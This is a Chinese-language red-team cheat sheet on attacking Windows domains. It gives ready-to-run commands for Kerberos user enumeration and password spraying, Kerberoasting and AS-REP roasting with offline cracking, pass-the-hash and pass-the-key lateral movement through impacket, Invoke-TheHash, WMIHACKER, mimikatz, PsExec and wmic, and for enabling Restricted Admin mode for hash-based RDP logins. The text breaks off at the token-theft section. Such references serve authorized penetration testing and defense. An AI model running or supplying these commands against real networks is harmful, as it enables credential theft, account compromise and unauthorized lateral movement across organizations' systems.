二.凭据利用
通过暴力破解方式获取用户凭证,利用已有凭证进行横向扩展
2.1 爆破凭据
密码喷洒
通过Kerberos枚举用户,获得有效域账户凭据
- kerbrute
kerbrute
#通过Kerberos枚举用户名
kerbrute userenum -d qaq.com --dc 192.168.10.250 usernames.txt
#指定密码喷洒
kerbrute passwordspray -d qaq.com --dc 192.168.10.250 domain_users.txt Password123
#指定账户密码暴破(会被锁账户)
kerbrute_linux_amd64 bruteuser -d qaq.com --dc 192.168.10.250 passwords.lst test
- DomainPasswordSpray(不可域外爆破)
DomainPasswordSpray
#获得所有用户的列表,排除被禁用和被锁定的用户
powershell -exec bypass -command "&{import-module .\DomainPasswordSpray.ps1; Get-DomainUserList -RemoveDisabled -RemovePotentialLockouts| Out-File -Encoding ascii userlist.txt }"
#指定UserList进行密码喷洒暴破
Invoke-DomainPasswordSpray -UserList .\\users.txt -Password Aa123456 -Verbose
#利用LDAP自动从域中导出用户列表(去除禁用和锁定用户),再进行密码喷洒
powershell -exec bypass -command "&{import-module .\DomainPasswordSpray.ps1;Invoke-DomainPasswordSpray -Password Aa123456}"
- smartbrute
支持使用NTLM-hash爆破
smartbrute
#smart模式。通过LDAP获取启用的用户,获取用户锁定策略后进行爆破。爆破不会锁定账户
python3 smartbrute.py smart -bP passwords.txt kerberos -d qaq.com -u admin -p 'Aa123456' kerberos
python3 smartbrute.py smart -bH NT_hash_passwords.txt kerberos -d qaq.com -u admin -p 'Aa123456' kerberos
#Brute模式。会锁定用户
python3 smartbrute.py brute -bu 'jack' -bP passwords.txt kerberos -d qaq.com
Kerberoasting
爆破kerberos第二步TGS认证票据,获取高权限服务的密码
在域里,请求高权限服务的票据后进行离线爆破,服务账号是机器账号无法爆破成功
Rubeus.exe kerberoast #生成所有高权限服务的ST
hashcat64.exe -m 13100 hash.txt pass.txt -o result.txt --force #13100表示RC4-HMAC-MD5加密
也可使用kerberoast项目tgsrepcrack.py脚本爆破RC4-HMAC-MD5类型的ST票据
AS-REPRoasting
爆破kerberos第一步as认证的sessionkey-TGS。sessionkey-TGS是由用户hash加密
请求生成不需要kerberos预身份认证的账户ST,然后离线爆破sessionkey-TGS,获取有效域账户密码
Rubeus.exe asreproast > hash.txt #生成不需要域认证账户的ST。通过LDAP查询不需要kerberos预身份认证的账户
Rubeus.exe asreproast /domain:qaq.org /user:admin /dc:172.16.0.106 /format:hashcat /outfile:C:\Temp\hash.txt #非域内生成admin账户的ST
hashcat64.exe -m 18200 hash.txt pass.txt --force #爆破sessionkey-TGS值
2.2 PTH
dump lsass进程获取到NTLM-hash、aes256-hmac-hash或明文后,或用当前用户票据凭证,进行hash传递攻击访问其他机器
PTH
- 利用impacket套件
#-hashes Lmhash:ntlmhash
python psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:47bf8039a8506cd67c524a03ff84ba4e administrator@192.168.4.27 "ipconfig"
python smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:47bf8039a8506cd67c524a03ff84ba4e administrator@192.168.4.27
#通过wmic方式执行命令
python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:47bf8039a8506cd67c524a03ff84ba4e administrator@192.168.4.27 "ipconfig"
- Invoke-TheHash
https://github.com/Kevin-Robertson/Invoke-TheHash
#WMI方式135端口无回显批量执行命令
powershell -exec bypass "&{import-module .\Invoke-TheHash.ps1; import-module .\Invoke-WMIExec.ps1;Invoke-TheHash -Type WMIExec -Target 192.168.10.1/24 -Domain qaq.com -Username administrator -Hash 47bf8039a8506cd67c524a03ff84ba4e -Command "whoami" -verbose}"
powershell -exec bypass "&{import-module .\Invoke-WMIExec.ps1; Invoke-WMIExec -Target 192.168.10.250 -Domain qaq.com -Username administrator -Hash 47bf8039a8506cd67c524a03ff84ba4e -Command "hostname" -verbose}"
#SMB方式445端口批量无回显批量执行命令
powershell -exec bypass "&{import-module .\Invoke-TheHash.ps1; import-module .\Invoke-SMBExec.ps1; Invoke-TheHash -Type smbexec -Target 192.168.10.1/24 -Domain qaq.com -Username administrator -Hash 47bf8039a8506cd67c524a03ff84ba4e -Command "whoami" -verbose}"
powershell -exec bypass "&{import-module .\Invoke-SMBExec.ps1; invoke-smbexec -Target 192.168.10.250 -Domain qaq.com -Username administrator -Hash 47bf8039a8506cd67c524a03ff84ba4e -Command "whoami" -verbose}"
- wmiexec-RegOut
wmiexec-RegOut
#WMI方式135端口执行命令,注册表获取结果
python3 wmiexec-regOut.py qaq/administrator:Aa123456@192.168.10.250 'whoami'
python3 wmiexec-regOut.py -hashes aad3b435b51404eeaad3b435b51404ee:47bf8039a8506cd67c524a03ff84ba4e qaq/administrator@192.168.10.250 'whoami'
#WMI方式135端口无回显执行命令,vbs调用
python3 wmipersist-Modify.py qaq/administrator:Aa123456@192.168.10.250 'whoami'
python3 wmipersist-Modify.py -hashes aad3b435b51404eeaad3b435b51404ee:47bf8039a8506cd67c524a03ff84ba4e qaq/administrator@192.168.10.250 'whoami'
#WMI方式135端口回显执行命令,vbs调用
python3 wmipersist-Modify.py qaq/administrator:Aa123456@192.168.10.250 'whoami' -with-output
python3 wmipersist-Modify.py -hashes aad3b435b51404eeaad3b435b51404ee:47bf8039a8506cd67c524a03ff84ba4e qaq/administrator@192.168.10.250 'whoami' -with-output
- WMIHACKER
WMIHACKER
WMIHACKER
用的是135端口,wmic方式执行命令
#有命令回显执行方式
cscript WMIHACKER_0.6.vbs /cmd 172.16.94.187 administrator "Password!" "systeminfo" 1
#无命令回显
cscript WMIHACKER_0.6.vbs /cmd 172.16.94.187 administrator "Password!" "systeminfo > c:\1.txt" 0
#模拟shell模式
cscript WMIHACKER_0.6.vbs /shell 172.16.94.187 administrator "Password!"
#使用hash进行认证,需要先创建访问令牌
cscript WMIHACKER_0.6.vbs /cmd 172.16.94.187 - - "systeminfo > c:\1.txt" 0
- mimikatz
#另外生成进程创建访问令牌
mimikatz "privilege::debug" "sekurlsa::pth /user:administrator /domain:192.168.4.26 /ntlm:47bf8039a8506cd67c524a03ff84ba4e"
- 微软PSTools套件
PsExec.exe -accepteula \\test5-2012.qaq.org -s cmd.exe #默认使用当前用户的凭据
psexec \\192.168.10.250 -accepteula -u username -p password -s cmd.exe
- windows wmic
wmic /node:test.qaq.com process call create "cmd.exe /c whoami > c:\\windows\temp\test.txt" #默认使用当前用户凭据
wmic /user:"qaq.com\administrator" /password:"Aa123456" /node:test.qaq.com process call create "cmd.exe /c whoami > c:\\windows\temp\test.txt"
type \\test.qaq.com\c$\windows\temp\test.txt
hash登录RDP
安装KB2871997补丁后支持使用NTLM或kerberos票据登录RDP,2012 R2后自带受限管理员模式。安装KB2973351补丁会临时关闭功能
#开启受限管理员模式
REG ADD HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
#查询是否开启,0表示开启
REG query HKLM\System\CurrentControlSet\Control\Lsa | findstr DisableRestrictedAdmin
注意管理员组成员有效,客户端和服务端都需支持Restricted Admin mode
mimikatz "privilege::debug" "sekurlsa::pth /user:Administrator /domain:. /ntlm:47bf8039a8506cd67c524a03ff84ba4e"
mstsc.exe /restrictedadmin
2.5 ptk
使用aes256-hmac hash进行kerberos PTH,目标主机需要安装补丁kb2871997,默认2012 r2+自带
#获取aes256-hmac hash
mimikatz.exe "privilege::debug" "sekurlsa::ekeys" exit > aes256.txt
#注入aes256-hmac生成票据
mimikatz.exe "sekurlsa::pth /user:administrator /domain:test.qaq.com /aes256:xxxxxxxx" exit
2.6 令牌窃取
当机器被域管登录过,或存在域管进程。此时可以dump lsass进程寻找域管凭证,或注入域管票据,或窃取域管进程令牌